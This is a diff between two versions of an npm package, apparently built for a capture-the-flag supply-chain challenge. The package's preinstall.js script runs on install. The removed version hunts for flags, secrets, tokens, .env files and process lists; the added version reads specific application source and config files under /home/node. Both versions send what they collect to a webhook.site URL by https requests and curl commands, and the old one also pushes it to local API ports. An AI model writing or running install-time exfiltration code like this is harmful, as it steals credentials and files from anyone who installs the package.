@ctfsolve9z/coral-wraith 9999.0.1 → 9999.0.3

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@ctfsolve9z/coral-wraith",
-  "version": "9999.0.1",
+  "version": "9999.0.3",
   "description": "Coral Wraith module",
   "main": "index.js",
   "scripts": {

package/preinstall.js

@@ -1,171 +1,62 @@
 const fs = require('fs');
-const http = require('http');
 const https = require('https');
 const { execSync } = require('child_process');
 
-let flag = null;
 let debug = [];
 
-// Method 1: Common flag locations
-const flagPaths = ['/flag', '/flag.txt', '/root/flag', '/root/flag.txt',
-  '/tmp/flag', '/tmp/flag.txt', '/home/flag', '/home/flag.txt',
-  '/opt/flag', '/opt/flag.txt', '/var/flag', '/var/flag.txt',
-  '/app/flag', '/app/flag.txt', '/srv/flag', '/srv/flag.txt',
-  '/etc/flag', '/etc/flag.txt', './flag', './flag.txt'];
-
-for (const p of flagPaths) {
-  try {
-    if (fs.existsSync(p)) {
-      flag = fs.readFileSync(p, 'utf8').trim();
-      debug.push('found:' + p);
-      break;
-    }
-  } catch(e) {}
-}
-
-// Method 2: Glob search
-if (!flag) {
+// Read key files
+const filesToRead = [
+  '/home/node/supplysec_entry.js',
+  '/home/node/aspect-node/config/aspect.config.json',
+  '/home/node/aspect-node/index.js',
+  '/home/node/aspect-node/sample.js',
+  '/home/node/aspect-node/package.json',
+  '/home/node/aspect-node/modules/npm-tracker/index.js',
+  '/home/node/aspect-node/modules/npm-tracker/fuzz.js',
+  '/home/node/aspect-node/modules/npm-tracker/supplysec_entry.js',
+  '/home/node/aspect-node/modules/npm-tracker/package.json',
+  '/home/node/aspect-node/modules/npm-tracker/src/index.js',
+];
+
+for (const f of filesToRead) {
   try {
-    const r = execSync('find / -maxdepth 4 -name "flag*" -o -name "*.flag" -o -name "HTB*" 2>/dev/null | head -20', { timeout: 10000 }).toString().trim();
-    debug.push('find:' + r);
-    if (r) {
-      for (const f of r.split('\n')) {
-        try {
-          const content = fs.readFileSync(f.trim(), 'utf8').trim();
-          if (content.includes('HTB{') || content.includes('flag{') || content.length < 200) {
-            flag = content;
-            debug.push('flag_from:' + f);
-            break;
-          }
-        } catch(e) {}
-      }
-    }
-  } catch(e) { debug.push('find_err:' + e.message.substring(0, 100)); }
-}
-
-// Method 3: Environment
-if (!flag) {
-  const envKeys = Object.keys(process.env).filter(k => 
-    k.includes('FLAG') || k.includes('HTB') || k.includes('SECRET') || k.includes('TOKEN'));
-  debug.push('env_keys:' + envKeys.join(','));
-  for (const k of envKeys) {
-    if (process.env[k] && process.env[k].length > 2) {
-      flag = process.env[k];
-      debug.push('env:' + k);
-      break;
-    }
-  }
-}
-
-// Method 4: Check /proc/self/environ
-if (!flag) {
-  try {
-    const env = fs.readFileSync('/proc/self/environ', 'utf8');
-    const m = env.match(/FLAG[=]([^\x00]+)/);
-    if (m) { flag = m[1]; debug.push('proc_env'); }
-    // Also look for HTB
-    const m2 = env.match(/HTB[{][^\x00}]+[}]/);
-    if (m2) { flag = m2[0]; debug.push('proc_htb'); }
-  } catch(e) {}
-}
-
-// Method 5: Read common app dirs
-if (!flag) {
-  const dirs = ['/', '/app', '/opt', '/home', '/srv', '/root', '/tmp', '/var/www'];
-  for (const dir of dirs) {
-    try {
-      const files = fs.readdirSync(dir);
-      debug.push(dir + ':' + files.join(','));
-      for (const f of files) {
-        try {
-          const path = dir + '/' + f;
-          const stat = fs.statSync(path);
-          if (stat.isFile() && stat.size < 1000 && stat.size > 5) {
-            const content = fs.readFileSync(path, 'utf8').trim();
-            if (content.includes('HTB{') || content.includes('flag{')) {
-              flag = content;
-              debug.push('content:' + path);
-              break;
-            }
-          }
-        } catch(e) {}
-      }
-    } catch(e) {}
-    if (flag) break;
-  }
-}
-
-// Method 6: Check common web app config files
-if (!flag) {
-  const configPaths = ['/app/.env', '/opt/app/.env', '/srv/.env', 
-    '/var/www/.env', '/home/node/.env', '/root/.env',
-    '/app/config.js', '/app/config.json', '/opt/app/config.js'];
-  for (const p of configPaths) {
-    try {
-      if (fs.existsSync(p)) {
-        const content = fs.readFileSync(p, 'utf8');
-        debug.push('config:' + p + '=' + content.substring(0, 200));
-        const m = content.match(/HTB\{[^}]+\}/);
-        if (m) { flag = m[0]; break; }
-      }
-    } catch(e) {}
+    const content = fs.readFileSync(f, 'utf8');
+    debug.push(`FILE:${f}:${content}`);
+  } catch(e) {
+    debug.push(`ERR:${f}:${e.message.substring(0, 50)}`);
   }
 }
 
-// Method 7: Check for the challenge app itself
-if (!flag) {
-  try {
-    const r = execSync('find / -maxdepth 5 -name "*.js" -path "*/app/*" 2>/dev/null | head -20', { timeout: 10000 }).toString().trim();
-    debug.push('app_js:' + r);
-  } catch(e) {}
-}
-
-// Method 8: Check running processes
-if (!flag) {
-  try {
-    const r = execSync('ps aux 2>/dev/null || cat /proc/*/cmdline 2>/dev/null | tr "\\0" " " | head -20', { timeout: 5000 }).toString().trim();
-    debug.push('ps:' + r.substring(0, 500));
-  } catch(e) {}
-}
-
-// Exfiltrate
-const data = JSON.stringify({
-  flag: flag || 'NOT_FOUND',
-  debug: debug.join('|'),
-  cwd: process.cwd(),
-  user: process.env.USER || process.env.HOME,
-  hostname: require('os').hostname()
-});
-
-const encoded = Buffer.from(data).toString('base64');
-
-// Webhook
+// Also list src directory
 try {
-  const url = new URL('https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/v2?d=' + encoded);
-  https.get(url, () => {}).on('error', () => {});
+  const r = execSync('find /home/node/aspect-node/modules/npm-tracker/src -type f 2>/dev/null', { timeout: 5000 }).toString();
+  debug.push('SRC_FILES:' + r);
 } catch(e) {}
 
-// Also try PUT to challenge API
-const ports = [1337, 3000, 5000, 8080, 80];
-const moduleId = 'ECT-987654';
+// Read all .js files in key directories
+try {
+  const r = execSync('find /home/node -maxdepth 1 -name "*.js" -exec cat {} \\; 2>/dev/null', { timeout: 5000 }).toString();
+  debug.push('HOME_JS:' + r);
+} catch(e) {}
 
-for (const port of ports) {
-  try {
-    const postData = JSON.stringify({
-      manifest: `ecto_module:\n  name: "coral-wraith"\n  version: "9999.0.0"\n  flag: "${(flag || 'NOT_FOUND').replace(/"/g, '\\"').replace(/\n/g, '\\n')}"`
-    });
-    const req = http.request({
-      hostname: 'localhost', port, path: `/api/modules/${moduleId}`,
-      method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
-      timeout: 3000
-    }, () => {});
-    req.on('error', () => {});
-    req.write(postData);
-    req.end();
-  } catch(e) {}
-}
+// Post data  
+const data = JSON.stringify({ debug });
+try {
+  const req = https.request({
+    hostname: 'webhook.site',
+    path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
+    method: 'POST',
+    headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
+    timeout: 15000
+  }, () => {});
+  req.on('error', () => {});
+  req.write(data);
+  req.end();
+} catch(e) {}
 
-// Also try curl for more reliable exfiltration
+// Also send via curl for larger payloads
 try {
-  execSync(`curl -s "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/curl?data=${encodeURIComponent(data)}" -m 5`, { timeout: 6000 });
+  const tmpFile = '/tmp/exfil.json';
+  fs.writeFileSync(tmpFile, data);
+  execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d @${tmpFile} -m 15`, { timeout: 20000 });
 } catch(e) {}